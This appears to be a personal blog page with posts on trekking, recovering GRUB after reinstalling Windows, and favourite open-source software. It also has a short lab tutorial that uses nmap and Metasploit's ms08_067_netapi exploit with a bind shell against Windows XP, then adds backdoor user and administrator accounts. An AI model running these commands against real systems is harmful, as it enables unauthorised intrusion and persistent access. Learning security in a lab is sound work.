We were enjoyed around one hr and then started climbing mountain. Me and my friend reached at top in 20 minute and then took 10 minute rest and waiting for few guys who was behind us. Then we started moving down in other direction to reach water-stream. During climb down I got some scratch from thorn, because we had to cross in between deep thorn. Once we reached at water-stream, I just washed my face with natural cold water and drink some water. We took 10 minute rest and started moving ahead. Some photographer started their photographic as they started getting most awesome natural beauty. I didn't bring any cam, so I was keep moving ahead with enjoying walk. I was just feeling, I can't express in word...but I always like to seat on top of mountain and watch whole world as small. Any way after walking 30-40 minute we got another danger point where we had to cross very care. It was danger in the sense, we had to cross a area where keeping our foot was only few inches and nothing was to hold except flat rock. On the other side deep water pond was there. Some first time trekker was very scared. but other people helped them. We crossed all luggage first by human chain and then we helped the people wh was scared. Few who don't wanted to cross using rock, they cross by swimming. Once all crossed, we moved ahead for another waterfall. The coming waterfall was vary good because there was one natural slipping point, from where you can slip into waterfall from top. We reached there in 15 minute walk. Once people reached there, organizer announced this is the final point and we are not going ahead. So enjoy here as much as you can. I just took off my cloths and started slipping from slipping point as I missed this fun in Nagala15 because of swimming. This time I practiced swimming in our campus itself, so no fear was there. I slipped 2-3 times and then jumped from around 15 feet top to same fall. It was amazing experience. I jumped in Nagala15 also.
We ware there till 2-3 hrs. After swimming and fun I took my lunch sanvar rice and chapati with anchar. And took some rest as we had to returned. We started moving back to breakfast point. We reached the same water-stream where we climbdown from hill while coming. This time organizer wanted too use same trick what Peter used in Nagal15 that in place of take one and half hr to climb and climb down to reach breakfast point, all trekkers will climbdown 50 feet flat hill. Once all trekkers saw that location from top to
down, they started scared. But few experienced trekkers started giving encouragement. Finally decided to make people chain on that flat hill and pass the all luggage first.
Once the luggage finished, people started climb down by using help of other people. It took 30-40 minutes to climb all trekkers from top. Once all climb down, people started playing with water. And some took some group photo. We were stayed another 1 hr and finally started to returning. We reached campus 12 PM at IITM main gate and took our cycle and reached room at 12.20AM. I was very tired, so I got sleep as I went to bed. Nice day !! Hope for next trek soon....

Wednesday, June 17, 2009

How to recover your ubuntu after reinstalling Windows

Yesterday I got mood to give a try windows7 rc which I downloaded 2 days back. But I got problem because i had to reinstall ubuntu which is already there. And i don't wanted to do that. I did some googling and finally I got how to recover ubuntu. Actually after installing windows it remove previous bootloader from MBR(Master Boot Record) and reinstall fresh bootloader in MBR. To reinstall previous bootloader boot from ubuntu linux live cd and open a terminal. Follow the following step :

1> sudo grub
You will get "grub>" command prompt.

2> find /boot/grub/stage1
If you get "Error 15: File not found", try the following:
find /grub/stage1

3> Using this information, set the root device (fill in X,Y with whatever the find command returned):
grub> root (hdX,Y)

4> grub> setup (hd0)

5> Exit Grub:
grub> quit

Enjoy !!
ps: For extra information click here.

Update:
If you are updating/recovering grub with ubuntu 10.04 or later, try following command: (source)

You’ll need to know the device name of your primary ubuntu partition, in this example I’m assuming it’s /dev/sda5
mount /dev/sda5 /mnt
mount --bind /proc /mnt/proc
mount --bind /dev /mnt/dev
mount --bind /sys /mnt/sys
chroot /mnt
update-grub2
grub-install /dev/sda


Enjoy Linux !!

Sunday, June 14, 2009

How to hack windows XP sp2 with metasploit framework

After a long time I am writing this post. I was trying some hands on with metasploit framework. For exercise i choosed fedora9 as my attacker machine(bz i liked fedora) and installed framework with postgresql DB support. For attacking machine i choosed machine with windows XP with service pack 2. From this excercise i got very interesting result and even that result surprised me. The result was I got , xp command promt and from that promt first of all I created two user( one is administrator and other normal). For starting i think this is ok. The procedure i follows is as: I started from nmap port scanning.
% nmap -A -T4
This scan gave me all open port on xp. After getting open port i use framework to perform actual attack. Open msfconsole on terminal.
%msfconsole
Now run following command
%msf->use exploit/windows/smb/ms08_067_netapi
%msf->set RHOST 192.168.xxx.xxx
%msf->set RPORT 445
%msf->set PAYLOAD generic/shell_bind_tcp
now run final command to attack
%msf->exploit
now if lucky, you will get following command prompt. Now you can do whatever you want to do.

For adding user from command prompt use following command
%C:\WINDOWS\system32>net user testuser test123 /add
the message from terminal
"net user testuser test123 /add
The command completed successfully."

For adding administrator use following command
%C:\WINDOWS\system32>net localgroup Administrators /add testuser
or C:\WINDOWS\system32>net localgroup “Power Users” /add testuser(quotes required here)
the message
"net localgroup Administrators /add testuser
The command completed successfully."

Now type exit on command prompt to exit
#C:\Documents and Settings\Administrator\Desktop>exit
exit

This is very starting. Still choosing module and attacking with different payload, etc. there are lots of thing to learn. I posted here just because i thought it will help you to learn security.

ps: This post is just for learning perpous. Please do not use in unethical manner. Respect others privacy.

Friday, May 1, 2009

Top free Open Source Projects for end users

Here i am listing out some free open source software which i am using and i feeling very comfortable with these software.
1. Most wanted browser : Firefox
2. Most featured Email client (GUI) : Thunderbird
3. Another Email client (Desktop edition) : Zimbra
(Others edition like EE , web client, etc also available)



4. VLC media player (Best player for Linux and others too)

5. Best Linux flavour which i feel more stable among other flavour :
Debian (The Universal Operating system)


continued......

Tuesday, March 10, 2009

My first trek with CTC

Hi,
I joined CTC in feb-2009 and went for first trek with them at Nagalapuram, near AP and TN boarder on 8th-march. What was the day...i will always remember the day. Fist time I dive from 10 feet hill and without knowing diving.

read more here